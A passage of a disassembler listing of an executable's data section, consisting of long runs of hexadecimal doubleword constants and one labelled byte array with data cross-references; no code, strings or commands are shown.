		dd 0C27F34h, 30E61E3Bh,	310CC115h, 0C90072ECh, 6C5B63F6h
		dd 8DC584h, 10F80D03h, 0B6C7526Fh, 0EB58D900h, 0BBCF57FEh
		dd 14030171h, 0A8AD3A5Ch, 0CA9ED0BDh, 2093A300h, 22475EA6h
		dd 0F088090Bh, 98060FBh, 0D8E15DD0h, 4E019800h,	19124853h
		dd 49BC036Eh, 33774DC7h, 88A7ADD0h, 94B22600h, 0AAE090B7h
		dd 0BF7803C9h, 86D4A632h, 0CF4C0BE0h, 80CE5F3Bh, 4918A8CAh
		dd 7AD6C12Bh, 0CB460024h, 59423EA9h, 41013D38h,	8A9204E1h
		dd 4AD80370h, 0F62200ADh, 0E72E5B1Eh, 7D0642FBh, 0F88E8F6Fh
		dd 24110028h, 8701B9ECh, 0DB00D203h, 0F14E609Dh, 60574594h
		dd 495EB881h, 99010C78h, 1E54A29Fh, 0F9D4111Ah,	28F0092h
		dd 436E4568h, 0C9003E88h, 0E459A3D1h, 0DA5405h,	57D79A7Dh
		dd 2A67AAFBh, 50FE3700h, 61F7B7D1h, 0BA9E0BA2h,	0AD80C906h
		dd 0D8B46255h, 0EF027A09h, 603A8F1Ah, 0D9D3E277h, 0F3EC1Dh
		dd 0DA2B60AEh, 75453B92h, 0B2205303h, 0C0BD9426h, 0C0FF6586h
		dd 143F6340h, 3D3E1C17h, 0F6C50082h, 0FB899496h, 28F1004Dh
		dd 0C1466C9Ah, 0FD0018ECh, 0EA63F4DAh, 3545A7h,	409C192Bh
		dd 0BA897A4Bh, 5916C603h, 0F0C15B7Fh, 1F0A724h,	0AA15024Eh
		dd 0D85C7122h, 0E400BA2Ch, 3408CFA8h, 30E841Bh,	190B6B8Ch
		dd 1DE18710h, 123FD0DEh, 402EB000h, 562A614Dh, 88423FCAh
		dd 8DEAC100h, 72F558E5h, 0F338027Dh, 0DF260028h, 0DEFD148Ch
		dd 0C68F0379h, 4025D550h, 901D3A3h, 0E6D62CE9h,	65E84FE1h
		dd 0A8E200ADh, 0DBAEF52Fh, 561C891Dh, 0CEC380F6h, 987166EAh
		dd 3F7B06Ch, 1835E684h,	0E197958Bh, 52566B5Fh, 7C60D0E0h
		dd 0CB1F1D9Dh, 7240A0C3h, 0A6D761E6h, 26060415h, 0C039CF31h
		dd 4ACC9339h, 0FA8F48h,	34C5334Bh, 0A0AA6E14h, 0A9F9B8h
		dd 0E7853E98h, 831F9C86h, 9B4EE39h, 303A49h, 82DD98A0h
		dd 223C0F78h, 52ACDAh, 0C8F0B8Eh, 0F0091E8h, 4380FA99h
		dd 0C23538h, 26A09E67h,	0E58B391Ch, 0A8D27409h,	810000D1h
		dd 4085C4h, 0B6A392E2h,	901B88A1h, 69D058C1h, 2882D243h
		dd 89AB2846h, 8E91B840h, 36720CBh, 981732D3h, 6E0702Fh
		dd 455C2E4Bh, 0EB01F0B5h, 0D05624D1h, 0A170B026h, 9B950053h
		dd 39378262h, 0E7006157h, 56FF8874h, 0E4427Ah, 0A2133B79h
		dd 0A3949332h, 0D11DFB00h, 0FB20561h, 7890044h,	41E1EEEBh
		dd 88A03916h, 0CD009F28h, 0C98C5BE0h, 0B4BCF3h,	9886F1C3h
		dd 37BAE5BFh, 0AD076090h, 1F4C9F42h, 4009A35h, 0A9B5112Ah
		dd 0B8BC1D53h, 5CC2832Ch, 0E9903F8Ah, 8D26C442h, 0A200670Eh
		dd 9AC3331Ah, 23D60012h, 0A158DB48h, 823EDCFEh,	0CDEC809Dh
		dd 0D6834EC5h, 0DD5001DAh, 5876687Ah, 0BFA5D8FDh, 1A26E900h
		dd 0D875D22Fh, 6AF12DAh, 1BC160Ah, 0EBF5CA74h, 615FD889h
		dd 0B6B5B201h, 1471335Bh, 1F841820h, 9F05DBh, 0CE4FFA91h
		dd 3103B8C8h, 4D18FB2h,	21C6E8A2h, 391801DEh, 3466988Dh
		dd 0FFF9D43Ah, 14BB7700h, 0CA3E5D74h, 0D775B8h,	0AC01A172h
		db 1Eh
byte_520045	db 7Ah,	19h, 0DBh	; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 0E5D5C300h, 4BD3441Ch, 997D58h, 14745AD6h, 6C6ADB52h
		dd 8AD4B328h, 0E4373Dh,	17BFF391h, 43BF5CEh, 4956E1B6h
		dd 87C7844Fh, 0EDF4A0A6h, 0C14875FDh, 21BE00E0h, 0B8C52FCAh
		dd 0E21000D5h, 0E04ED336h, 13603F86h, 65EF14A1h, 82F506AEh
		dd 9F3B0A2h, 0A8900900h, 0A9AF02C6h, 43480945h,	0E0022DC8h
		dd 1460BC7Bh, 8A3E7F44h, 80C5386Fh, 30D2F3BAh, 66C2CFh
		dd 9EA60921h, 0CD5998B6h, 18004890h, 0BC1B41Dh,	0E7CA0D3h
		dd 1EE8F805h, 0CFAC7560h, 0BB00E742h, 35A4A165h, 0FD37F3h
		dd 6E7FB454h, 0F4503947h, 8F004BEAh, 38CECF3Ch,	6CDC55Bh
		dd 0F7495CC6h, 7A004948h, 3F81881h, 48049C65h, 60187FEAh
		dd 0BE5C3031h, 6AF6A516h, 34884000h, 1898FCh, 1D4ECE79h
		dd 5C53960Bh, 0F48F3Ch,	55D3817Eh, 0E593C7h, 0EB26945h
		dd 0E4AEFEC6h, 8342203Eh, 0C96CB6A9h, 0D5B5D02Dh, 3E0FA7Eh
		dd 0B08B5D17h, 0BF980EC2h, 0F50038F1h, 0EE8A959Bh, 30D151h
		dd 10FE5664h, 0A713232Ch, 20A2D933h, 0D71AD85Bh, 69F0145Fh
		dd 0C2009CF5h, 796C030Ch, 31001F0Ah, 0FB4B6A28h, 0EAE4F8AEh
		dd 347A24F0h, 441900D4h, 0BBB40162h, 8EAF9F00h,	0E9B6101Dh
		dd 45C7077Bh, 0D87A95h,	627309FCh, 7A504A5Ch, 33351000h
		dd 0D3F6755Dh, 0F0A600F1h, 8E012FD6h, 143D67A7h, 3720025h
		dd 694DBE46h, 71040363h, 0F220ABE2h, 9D113000h,	7C62EB7Dh
		dd 0C1B80B5Eh, 6F008C86h, 266F3559h, 2694B43Dh,	5C2CAC81h
		dd 6A12CF01h, 0EF6051E0h, 4C7100E7h, 4520F04Eh,	81B07ED6h
		dd 0FA9C151Eh, 17967AC0h, 1093CAh, 49BD3E73h, 7CCD8689h
		dd 7E6D421Dh, 2513F6D2h, 4BA2FE00h, 0AC44ADh, 0B3619252h
		dd 397C8C0h, 0BB00BD7Ah, 6E99BCDDh, 0C7030E5h, 76432106h
		dd 0C008409h, 2F814937h, 24CDC433h, 838048C2h, 2A93FFBh
		dd 91F866B3h, 71EB9D46h, 0D2013038h, 0E14F3E1Fh, 0EB746880h
		dd 50878175h, 7C3ABCA6h, 0D2B300C5h, 3F89965Bh,	5B05A61h
		dd 0DB3D3Ah, 2F76341Ch,	0FA683255h, 47B818h, 73FCCA38h
		dd 9A08FA25h, 0C1606D00h, 2FA0A1B0h, 32290122h,	1F7951CEh
		dd 3EFC709Ch, 5DFA2000h, 0BC171D3Fh, 0C92604D2h, 8012D486h
		dd 0BE2818D5h, 0B599B900h, 0A562DA67h, 63D8306Ch, 0A74DD608h
		dd 56413E00h, 3509E7AEh, 0F00C5001h, 5C491307h,	0D7CC3014h
		dd 600FFFAh, 102D1984h,	0DD5BAFh, 0F638DA6h, 61F1D6E6h
		dd 0C36C3E00h, 7C04F2FAh, 22549031h, 0D50042DDh, 0EB1DB273h
		dd 3C8DCCh, 2EE31748h, 0EE87F197h, 55D47C02h, 489536B4h
		dd 16E934Ch, 0B3283049h, 47AF71CCh, 2820DBF9h, 0C521241Dh
		dd 78D83050h, 0B1A49601h, 0DC697D44h, 0A98C0h, 0F687DD6Dh
		dd 0C7C8D5BAh, 20E68EB7h, 269F01C3h, 2219C90Ah,	72F782F7h
		dd 8869E0A9h, 0FE950F6Bh, 0E0E07F5Fh, 71F7AD28h, 0EF81FD00h
		dd 17EB0CCCh, 2A94CCB9h, 13001CE8h, 781FF5E9h, 10D0E0h
		dd 1AC6E218h, 8EAA3E34h, 0B13D0B00h, 90DCC799h,	0A2137FF1h
		dd 17A34004h, 69CF02C8h, 0B5E1470Ah, 0E84CBAC3h, 8D487152h
		dd 16F23D1Ch, 9500B899h, 0E8229C7Eh, 0B25E0093h, 0C8DC40C2h
		dd 0C7EE44D7h, 0B7B3D807h, 0B6B08DA5h, 4860ED38h, 1E0B1C8Ah
		dd 0B0A00BB0h, 75748D3Eh, 0EE036B00h, 97B1CFEBh, 0EDFE006Ah
		dd 7A096C16h, 25014B76h, 0AF5AF033h, 0B5C424C2h, 5C84009Dh
		dd 57DF276Eh, 0B3009F17h, 5A1B9B9Eh, 76DB572h, 11AFC551h
		dd 0DE09E046h, 9CA037A2h, 8E10BE18h, 712DCBh, 0C21906F7h
		dd 0C4080194h, 0A5BEC03h, 9057FE6Eh, 5AED02h, 0E0DD1505h
		dd 0E7F748E5h, 4A1304A0h, 0FBD1ED00h, 0CD64F055h, 85A22899h
		dd 1E11089Ch, 0BCC08C2Ch, 1496F07Bh, 8CACBE9Ch,	0EA556D00h
		dd 2A575823h, 2518F358h, 0A0381015h, 0DB8CA0F1h, 690F007Fh
		dd 0BAFE774h, 0D72481EEh, 1465C7Eh, 148209A8h, 94A07F9Fh
		dd 19F411C3h, 65B0A709h, 155C207Eh, 506379h, 6FB58F3Ah
		dd 489FAEC4h, 2BA05D54h, 9DE88800h, 8BB293ABh, 40240149h
		dd 3E0C0223h, 0E27C3055h, 13D63500h, 154184C9h,	0F82A5916h
		dd 173BB200h, 183AB138h, 0C299BB00h, 0C4B68EF9h, 509C3F7h
		dd 9EF0DCACh, 3604DD7Ah, 394C7744h, 0C8D7A480h,	0C203172Eh
		dd 7AC0034Ah, 38EAC402h, 6CD8F893h, 75007B8Bh, 0F2AF68B4h
		dd 24E97F03h, 3008D3h, 19883942h, 0AC01DA24h, 0D93F76DDh
		dd 4C6559ADh, 9DA75680h, 0F04342C4h, 6CB7400h, 67C63AD7h
		dd 45150031h, 3FC00459h, 0EA001B40h, 0FBD76693h, 90B2DBA0h
		dd 9AEF3F69h, 5110E080h, 0F340AF7h, 939BD0C0h, 0C98B27h
		dd 84DD65FCh, 0EB38771h, 590198C3h, 3F9BF039h, 67BE7206h
		dd 431C6864h, 45805430h, 8D0055DCh, 0C6B38677h,	603783D8h
		dd 1AD508C5h, 360021CBh, 0DE2E306Bh, 50594882h,	776784B1h
		dd 0B9860FA2h, 0E2E05EA0h, 0E63E57F8h, 65A9DA00h, 0A7EC7DFh
		dd 1FC378EAh, 1D1896F9h, 0E3A60014h, 0B40572ABh, 6A641A00h
		dd 2D7FE870h, 4E150047h, 5F1B732Eh, 0F200A474h,	3293F18Eh
		dd 6E21B6h, 1A464723h, 0FB3862ACh, 1215221Eh, 0F8DDE81h
		dd 88802A86h, 7ED98C80h, 250038B9h, 0D65EAF3Dh,	7D989447h
		dd 0F270058h, 0D54D4C6Ah, 0FA072EF0h, 36E95183h, 0E2F400Ch
		dd 946B2786h, 0B67AFD60h, 97079A31h, 3E06B71Dh,	0C2DD8F70h
		dd 395D3FB8h, 8550FE00h, 0DCF2624Dh, 37BCCC00h,	0BE58A5F1h
		dd 0B44B382Dh, 81871200h, 0F3766EBAh, 511F53B8h, 0B680ECA3h
		dd 0AA247A78h, 0C09E749Dh, 0D39F58D8h, 0E9E632A1h, 57C96B00h
		dd 9B7389CEh, 92780534h, 0C0B67CC7h, 1D8B9CB9h,	1BA3D900h
		dd 7EFEB8ACh, 447B003Ch, 0B52D545h, 0D40190E9h,	11B36A5Bh
		dd 0CEF8E472h, 5FE600B7h, 3C206486h, 3F386B4Bh,	8FFEB830h
		dd 20C76358h, 0F33DB0D6h, 0B9040060h, 0C46EBCD0h, 0E21580FEh
		dd 7FC37D2h, 26B3913Eh,	921A83DFh, 0AE5EE857h, 70C2007Eh
		dd 0BB656E33h, 0C10014D4h, 27683AA2h, 1C7E8122h, 728617h
		dd 2C96FB61h, 0AA0083AEh, 9F10A9C8h, 788C496Ch,	0A7240090h
		dd 52873A17h, 0B8175BF5h, 0EDECAED6h, 379CB900h, 0BCA8702Fh
		dd 8250EE00h, 0DC081661h, 3F150019h, 919560EFh,	0CF0EBC8Dh
		dd 8014285Ch, 0F60B2470h, 0C859184Bh, 0F2B831ACh, 91127500h
		dd 0CF6BA273h, 1227AC5h, 106DC9D7h, 0D424021Dh,	0F450C063h
		dd 0CA00F894h, 0B9F9792Dh, 0FC783Ah, 0FE725CC7h, 0F28628CBh
		dd 85221200h, 24BC570Bh, 88C73C14h, 1EA009EEh, 9B8F9ACDh
		dd 4EEC1202h, 407C47CCh, 9D40A5h, 0FBA1D2E3h, 98F4DF0Dh
		dd 924CD4F3h, 1488230Bh, 25B18008h, 774E80Bh, 3AC3D66Ah
		dd 0D8D9F05Fh, 0DD009B96h, 5350012Fh, 4E5207h, 4DE83863h
		dd 0A7D5CDF9h, 324C3900h, 0C3CA05Ah, 0B10E0073h, 0E8E6A430h
		dd 1200FDCCh, 0BB4C7963h, 905E98A0h, 4F133018h,	7FF0F148h
		dd 0FEC1A48h, 80366A43h, 0ADB4549Fh, 125B0E0Dh,	59A0B506h
		dd 0CB9EFC4Ah, 8731FF3Fh, 98FEF634h, 1AE66360h,	0DD6F5890h
		dd 8FA6E103h, 97D8BAC2h, 2900B4A9h, 95AB662Bh, 0C6A80Fh
		dd 0EDAF4B12h, 0FCDDDA03h, 5B5FA016h, 0DFBA280Bh, 0F6983C8Ch
		dd 35285500h, 0CA292CF1h, 27E8FBh, 0C354F5CCh, 0AC31F9C0h
		dd 2378C107h, 0D571ABA2h, 980AFA0h, 36A6E3B5h, 0CB02EAB3h
		dd 0C807DDBFh, 0C47C6057h, 7ED64084h, 0CA412613h, 0AB19BB00h
		dd 0A25D10h, 40ADFE22h
		dd 9CBBFAD9h, 157EA503h, 9802DB56h, 1EC1500Eh, 4C8EF0D2h
		dd 0B8388CA6h, 2CDDED00h, 71E75ECAh, 0B063543Fh, 0DCBD09D0h
		dd 2D87AD75h, 8FEC50F3h, 26006D9Dh, 0A2714A1Fh,	0B2A119Eh
		dd 0E1C9F512h, 4E483380h, 780EA426h, 400E6C2Bh,	5750F41Eh
		dd 2C440E43h, 403E76CCh, 0F252B448h, 7D033258h,	1F78DE8Dh
		dd 0DBD4BB84h, 1C201E45h, 0AE284404h, 4450C78Dh, 3A6F40B5h
		dd 2C6911h, 13E3E8B1h, 6AF8EB25h, 62004C98h, 1593465h
		dd 0BC7C2E1h, 381032F6h, 90EF4A83h, 0B44A6AC0h,	430C1372h
		dd 607568DDh, 39322033h, 0A50B2E00h, 2DD1D08Bh,	0A2621D37h
		dd 0C98AC778h, 0A1016065h, 5750A7CAh, 0E10305B5h, 4F14AA7Bh
		dd 6FAED01Eh, 0CD77B8h,	0B57A0319h, 82DCF8E1h, 63C8E600h
		dd 0A45528ACh, 8F2D5814h, 9161FC00h, 0EA711E07h, 0E79450Fh
		dd 905CE0D5h, 62A677h, 0C8C6E95Ah, 0DEB50D11h, 617FD009h
		dd 2FE20779h, 0E9BBE440h, 21E26D9h, 30133F72h, 0A81000F9h
		dd 0A9895DBAh, 882AC900h, 820CB7ECh, 191B00EEh,	11C2E216h
		dd 67017B15h, 0B724B48Ch, 980B298h, 0AABD2EB8h,	0C2022B80h
		dd 95FF5D23h, 9010607Eh, 0A14074Dh, 695C8A97h, 0E1629980h
		dd 66024794h, 0FBFF125Dh, 2BA49108h, 1E499D60h,	0E4736902h
		dd 58050970h, 0B8D7F8A7h, 35B3B00h, 4CD49108h, 0B1F0967h
		dd 0F5DA04E1h, 0ADA0825Ah, 48FE9E2h, 0A3033C8Bh, 0DD88DE8Ah
		dd 5F0B6D6Ah, 20F98594h, 3AB3F1F8h, 0FACD73D7h,	0B6BD3EF2h
		dd 67007CC8h, 287B2011h, 0B9052E91h, 4B62A50Ah,	0A320A21Bh
		dd 58A788CEh, 85E918CCh, 39B439BDh, 4215A400h, 9FEBB688h
		dd 8EF1019Dh, 0BB5A7103h, 0D32EEC9Ah, 510D5F13h, 3BBACC00h
		dd 3285441h, 0B4B0B142h, 7B811A5Ah, 77E6F476h, 0C80283EEh
		dd 0EEEDD9E2h, 1DAA60C6h, 3CEFE4BCh, 39818159h,	5418DBDFh
		dd 4B0AC87Bh, 764E4600h, 68819F7Ah, 0F560006h, 93DB98C9h
		dd 8A510186h, 4D10E8C0h, 36077C00h, 0E55BA603h,	50B41EDCh
		dd 0CB984344h, 6BE80DD0h, 0E90F67B8h, 80D2B90Ch, 2F622E83h
		dd 91C00011h, 513980B5h, 6400A6DAh, 5FD07590h, 25C42Ch
		dd 0FA46731Eh, 41E633B6h, 0AA0D3000h, 9C21F88h,	0EAD4A0CFh
		dd 7F6D144Eh, 850784D1h, 80524F1Ah, 835E47C0h, 514AF400h
		dd 5BE1428Eh, 0CD1A0C2Ah, 1609245Dh, 0D36063E0h, 5A4ED0A8h
		dd 0CBB91FFFh, 91AF4287h, 5460BA7Eh, 0E777E927h, 5546FA00h
		dd 4DF1138Ah, 434E07DBh, 20CAABDEh, 36C12A7Fh, 0C5AE7C02h
		dd 4363E2A0h, 6A2998F8h, 0F92B2A43h, 7D28E8F4h,	619801E5h
		dd 0B9BB4ECBh, 38CBD65Fh, 0F615D2E0h, 8093A439h, 0CE18A68h
		dd 99A34253h, 48540914h, 8F2CB500h, 4C16128Eh, 0F0012049h
		dd 0D2AC7481h, 337060h,	362A4568h, 480E4B6Ah, 4C545F20h
		dd 0EFC7C0B7h, 443480E0h, 6E01A26Fh, 12898B0Bh,	0CE47C86h
		dd 0B0DD17BBh, 7188142Dh, 1027A700h, 3B9E4296h,	5E485A03h
		dd 0C02A768Dh, 7E52C06h, 0B26B67Dh, 47EB20A8h, 1402B44Bh
		dd 7280AECBh, 3D886058h, 0A17309D0h, 98816FF5h,	0F4919CF6h
		dd 0E761D4BAh, 682569F0h, 3E38A040h, 0AECB24Eh,	1D74FD18h
		dd 0FF0B00A4h, 498A426Fh, 7F980400h, 0F3BD4C6Dh, 60B3267Ch
		dd 241124D8h, 0C680941h, 4D8DFC81h, 6BF7C026h, 8A67CD80h
		dd 0B5A57E80h, 0E009A22h, 895542C7h, 78E6DB7h, 64439135h
		dd 0C0BB94D4h, 0B4EF3D15h, 0A059CC06h, 0E9028EBh, 7DEA29E4h
		dd 0B17F9260h, 2051C86h, 5DDF25D6h, 0B9E3A000h,	78E4C1h
		dd 0FA381E12h, 5C7E8EBAh, 3A0A3F75h, 0C10C97F6h, 0A2307018h
		dd 0F3681F04h, 915C73h,	3AB5325Bh, 26C02062h, 7044D674h
		dd 6A7B03F5h, 82147DFDh, 123351F8h, 3E0D9901h, 763F6634h
		dd 70F887D1h, 5A20000Eh, 8890A338h, 4873EFBCh, 200B8F6h
		dd 0A98C8B9Bh, 6103E6h,	438AA241h, 0B42DEC1Dh, 0D90077FAh
		dd 79A46774h, 0D42E37h,	0E2E12F49h, 33DB5284h, 0CEDD6C00h
		dd 43D3B1DFh, 0A674D4h,	1C8D2A4Eh, 38CAE5Ah, 0D8231A2Eh
		dd 0D5C08E9Eh, 42E885DAh, 0F4110052h, 0CC2B5540h, 0F25683Ch
		dd 3B1F0D9h, 5A35C98Bh,	5BABC69Dh, 6C2F0800h, 52EABD6Fh
		dd 0E2DA054Ch, 0C056402Eh, 4EBB7C68h, 6D83F9A0h, 33209900h
		dd 7BA4E12Dh, 507314h, 78532EC9h, 5990D583h, 5B306612h
		dd 4C38EC40h, 0C5A833h,	0F76E2E2Ah, 0D3DA23ECh,	101E2890h
		dd 5409549h, 414C373Fh,	6673009Dh, 2B111DC0h, 5B00469Ah
		dd 5425E1AFh, 7D8D7433h, 7A230319h, 2DF2CEB9h, 300120F9h
		dd 8F042975h, 269D5172h, 7F344482h, 0F22E4A63h,	6680C84Eh
		dd 4DECA35Fh, 170775CFh, 0FEE031Bh, 2729DCE4h, 36D2DCA0h
		dd 0F801DFDAh, 1B0206C7h, 0D3C09369h, 438500A3h, 202D1263h
		dd 2700B815h, 0ED9E8A95h, 8D8BF3h, 0FF255D29h, 20E1F86Eh
		dd 148FF400h, 0C698814Dh, 38370040h, 60072973h,	0B003E4CAh
		dd 0B530B69Fh, 0BEAC8862h, 0B250036Ch, 2971758Dh, 5F69F580h
		dd 0CCAD4400h, 0CBB83160h, 97190092h, 145CACC7h, 894282Ch
		dd 39E98A00h, 1C8046h, 178EDFD6h, 0C48751D4h, 0F53A0892h
		dd 6796003Dh, 695E3166h, 9356563h, 0E6E86323h, 0C17C2A88h
		dd 40120490h, 20DCDABFh, 0F48050A4h, 4E941291h,	77C8EE5h
		dd 0B85A9954h, 0AFA4C130h, 13EC84h, 9AF32BF0h, 6C26ABDFh
		dd 1E900E48h, 2C66B6BFh, 8EDC4900h, 0E17C2E5h, 0BA4BB19Ch
		dd 98085EFh, 2398C65Ch,	3E3A6700h, 0EE84EBAFh, 31190183h
		dd 4188D2FEh, 0A87D00Dh, 0EF4E8100h, 0C8F952FBh, 57706D1h
		dd 1051204Bh, 733D5C00h, 19023815h, 950C0079h, 0D71A0406h
		dd 0B60091D8h, 25C932DEh, 33D335Ah, 4FA12B13h, 4058509Bh
		dd 1C5C0129h, 68B2A0FFh, 7BC92A20h, 0DF790045h,	0FE274333h
		dd 1600E08Bh, 0D432E3CEh, 8CD3BAh, 39936089h, 0C19A3899h
		dd 0EE00D490h, 0D029FA6h, 4D9D48h, 0C98485A8h, 71F833E7h
		dd 0DBF01600h, 7CAC9A56h, 0B0CA0081h, 6D890791h, 8240F74h
		dd 0B1006846h, 9F7836AAh, 0EDCF0020h, 5E4FEB18h, 29004B4Eh
		dd 995DB68Eh, 9CB7A23Bh, 0ED9400D4h, 0B8BAB5F2h, 31983Bh
		dd 0C2115FD9h, 5C061BF5h, 28000AEAh, 0BCAD0918h, 3500FFFDh
		dd 0F812160Ch, 25F224h,	81A69063h, 0B0764B14h, 0CDA08A73h
		dd 0AC033B1Eh, 0EFAA7A39h, 41DE0BCh, 0A7630048h, 895D667Ch
		dd 6700B23h, 80032600h,	6C82F371h, 663E00F4h, 9B9929E8h
		dd 0A761BC8Eh, 2A27F722h, 3FE376E8h, 0A2006692h, 4481E2A6h
		dd 38E05D33h, 0E98A000h, 0CB826703h, 32261D86h,	0E2AD001Bh
		dd 0AB654F2Ah, 0F624C61Dh, 8ED6D800h, 0E70715h,	0D7DB3952h
		dd 0DCE1A291h, 0AC171800h, 0D1693CE0h, 0E3830137h, 5F3D24BAh
		dd 0A90FCC35h, 2A873000h, 986389C7h, 7A2701E2h,	0B5D5A202h
		dd 847CD48Fh, 66BF1607h, 3D5090CBh, 9F3A7h, 0E3678AA6h
		dd 0C5637A9Ah, 5CF1B202h, 507666DAh, 949300A0h,	31D9C790h
		dd 75000D65h, 88990A74h, 0F5DCCh, 77A05C3Dh, 5BC889F5h
		dd 189A7F00h, 6D9CD9EAh, 0AB8D0038h, 0D6232DF0h, 8E03A547h
		dd 4606EBE9h, 0F74EF8EFh, 0E0091803h, 0FE4F715Bh, 57787100h
		dd 74F2A7CFh, 1A8E087h,	76386280h, 2875AF68h, 0FAE2178Bh
		dd 23782C46h, 0A1524030h, 15706274h, 3D802E01h,	0ED0F46C2h
		dd 0A7EDCh, 75C86378h, 0CFF318A6h, 0E219F600h, 0C4AEE831h
		dd 7EC073FCh, 31B9FA79h
		dd 0F7995412h, 581880B0h, 889C24AFh, 2E4A9Ah, 0F723390Ch
		dd 0FA0EA3B4h, 80E55074h, 9DC41F19h, 221014D5h,	7EB15C70h
		dd 7880281Bh, 80CD4C3Dh, 792EEE6Ch, 0BB6402h, 0AF1E56E3h
		dd 0FD9A9622h, 0D25C2400h, 318BA3Bh, 80410033h,	342659DFh
		dd 9012F1Dh, 356DE143h,	7C864AEh, 0C7C61EA2h, 1BB280F8h
		dd 0B38EEFD1h, 731C8500h, 7905CE93h, 2DEEB4h, 4841CFDDh
		dd 0E8A41476h, 0E04F6C03h, 0B9758E07h, 0ABC021DCh, 0C1B20077h
		dd 8A272544h, 1902E2B4h, 88640C18h, 71DEE0D3h, 0B75500CDh
		dd 40F24C1Dh, 7C00FBB8h, 0DB5D564Fh, 0F6A2C15Ah, 3847EF9h
		dd 0EFC01E3Bh, 0C0AF95FCh, 0FA5677B2h, 66AB4900h, 72C2A961h
		dd 6B4F0070h, 7559078Bh, 7101AD8Fh, 0F98C5B08h,	13E863D6h
		dd 78D4A855h, 7541E68Ah, 0F8C40CF7h, 2C0890CFh,	819B21C7h
		dd 0A0798633h, 36E23Eh,	0FCC3A255h, 4B71A15Ch, 5987B032h
		dd 0CC88310Bh, 18E9F73Fh, 7F958844h, 0BA003CE6h, 15AAB9Ah
		dd 0AF65E52h, 4204D221h, 267709F8h, 0E385F189h,	4045C540h
		dd 0FD9B3820h, 0FA633647h, 5F48030h, 0C0E58419h, 0C16284D4h
		dd 0F0AF462Fh, 9D030555h, 589523EBh, 4EF78B80h,	9ADB831h
		dd 1707671h, 0AE987E54h, 21B80AD1h, 220F8580h, 129CBA5Fh
		dd 42192906h, 67868EDh,	0EABFFB02h, 0D8019939h,	0A17E1547h
		dd 88207432h, 0F008DD3Ah, 154E7921h, 8E93A000h,	3AD5D92h
		dd 0F6D700B8h, 386CAF29h, 0C700CBFCh, 0D85B1432h, 240FF9h
		dd 66D6E38Eh, 0A7A46F98h, 0CD603700h, 0E2C44012h, 3F0E0030h
		dd 0CC2B1020h, 9F7F7718h, 0D8C82107h, 0D61313F2h, 2C558834h
		dd 54030064h, 0A18C33Fh, 200DF45Fh, 298B31C8h, 59BE10DEh
		dd 46082E89h, 445CF644h, 604BB33h, 1218C242h, 14CDB227h
		dd 28068805h, 22290D90h, 8E226076h, 0E0E445C3h,	64B8EDFDh
		dd 6B8C4E00h, 9CDAEE06h, 97F50E5Dh, 0BD618846h,	0E87E3C14h
		dd 0B4011C36h, 0D6B1C05Ah, 0FBC479F4h, 80A600EDh, 477A3227h
		dd 0A50EDF91h, 208EC730h, 0EDDAD204h, 123F7DE0h, 2DD318h
		dd 428F1BEBh, 260674FBh, 9025F911h, 0D74A0010h,	169332C6h
		dd 3E0E4FDBh, 207AEED5h, 19EC4831h, 2D65001Bh, 0A56A65Ch
		dd 0D704032Fh, 0B80D64F5h, 18D2CAC0h, 7AB5E60Eh, 28C40081h
		dd 0A444543Dh, 407C693Eh, 0DEAEB700h, 0A5DB356Eh, 9BD40048h
		dd 0E8C32430h, 0B200748Eh, 0E9A8702Ah, 0E221CC2Ch, 0D3F60312h
		dd 2E7F75F8h, 201ECB81h, 0F102BB4Eh, 0B4AC8B4Fh, 7E60572Fh
		dd 9007B73h, 0D7C377A9h, 1AA9A1Dh, 36065712h, 0D8B4FBC5h
		dd 9F3AFE29h, 3A3E0E76h, 0F15BA02Dh, 309E0Eh, 0D1BEADAEh
		dd 0CC57F9A1h, 2F5C251Ch, 4F0325EEh, 0C62CAC89h, 0D9101498h
		dd 0B63EB005h, 77708A00h, 0AD191AC0h, 200BFD00h, 4644AF50h
		dd 0F55500C2h, 407B4243h, 0B8C0645Eh, 16FD8967h, 0A841009Bh
		dd 0B0498CD7h, 0A71483C2h, 4F9654Ch, 9A181F56h,	5C4EC7C0h
		dd 0B880A029h, 0A5280475h, 0C0D39EE0h, 1EB4E858h, 0BEB32A0Fh
		dd 400F0083h, 30642B7Bh, 528071BCh, 0AA00B5CAh,	0D61BF96Dh
		dd 9ACC48h, 6A75E2Ah, 55A85A3Ah, 10C5AE00h, 11B1676Fh
		dd 872E00D2h, 0DC430A57h, 6E7B8231h, 23081900h,	0A9D31DC6h
		dd 72BD3E0Bh, 8E5A8607h, 0DF01D0D4h, 4D3B9BC9h,	745E80BBh
		dd 22C55160h, 346B1635h, 0ECB700B7h, 0F593BB84h, 0B4AECB00h
		dd 17D85315h, 0B10700A0h, 6C6F714Ch, 0E828EA22h, 25F2B836h
		dd 0C0902A0Fh, 9CCB20D5h, 2675505Eh, 0A0168Ah, 0E03B3112h
		dd 0A0000FAAh, 0C0CB1A80h, 3E5F020h, 87B846FBh,	0AAD0CFB2h
		dd 33EC9509h, 3004275h,	0E5923818h, 0F1777Bh, 0FB5537A0h
		dd 0ED618452h, 7E14B602h, 80B187D8h, 0F2E112E8h, 3BA80042h
		dd 452C7230h, 1374363Ch, 1C65900h, 0E25A5768h, 95CE28AFh
		dd 7CA307A0h, 8490B10Eh, 2F7880C4h, 13009D51h, 0D883D674h
		dd 1FEB505Dh, 0CF8298F7h, 87805A33h, 44CCA6BDh,	5BF6D001h
		dd 0C17052ECh, 1F8661F4h, 13EBC704h, 62840007h,	0C8E27EE5h
		dd 0C1EAED00h, 0EB666E48h, 4AA700C5h, 0E820F03Ch, 11004557h
		dd 0FA99A897h, 1D1B9444h, 0F9FDB6E1h, 0D07A90Eh, 21C04CE0h
		dd 33001E05h, 3C4976A3h, 7C78BCFh, 0E9190665h, 454F056h
		dd 480E1EB1h, 2DFF1Dh, 75624F0Fh, 47220066h, 0B173FC12h
		dd 0C3E2644Dh, 71310100h, 1990702Ch, 0CF6B2E6Eh, 40E81E0Ah
		dd 0B9263360h, 4E02D608h, 6ED86CAEh, 64696039h,	25C90937h
		dd 81875501h, 0A03DC7E7h, 4EEB32BDh, 8368AA3Dh,	1CD3E41h
		dd 0BE8480EDh, 54FC00D3h, 0C275BD56h, 6B090CB3h, 98F604h
		dd 0C5922AA6h, 0F806E22Eh, 19A78D0h, 2D46E6DDh,	20C412CBh
		dd 1C0E69F0h, 0FFEC5FF1h, 42254A00h, 3CBD8D3h, 0E2151FAAh
		dd 0AE00C231h, 38789412h, 0DB632h, 0DE8B6946h, 7EA4735Eh
